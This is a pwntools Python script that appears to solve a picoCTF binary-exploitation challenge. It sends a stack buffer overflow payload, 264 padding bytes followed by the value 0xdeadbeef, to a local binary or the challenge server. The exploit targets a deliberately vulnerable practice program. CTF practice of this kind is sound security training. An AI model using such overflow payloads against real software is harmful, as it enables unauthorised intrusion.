#!/usr/bin/env nix-shell #!nix-shell -i python3 -p python3 python3Packages.pwntools from pwn import * exe = ELF("chall") context.binary = exe def conn(): if args.LOCAL: r = process([exe.path]) if args.DEBUG: gdb.attach(r) else: r = remote("mars.picoctf.net", 31890) return r def main(): r = conn() # gdb.attach(r, 'break *main+143') print(r.recvuntil(b'What do you see?\n')) r.sendline((b'A' * 264) + p64(0xdeadbeef)) print(r.recvall().decode()) if __name__ == "__main__": main()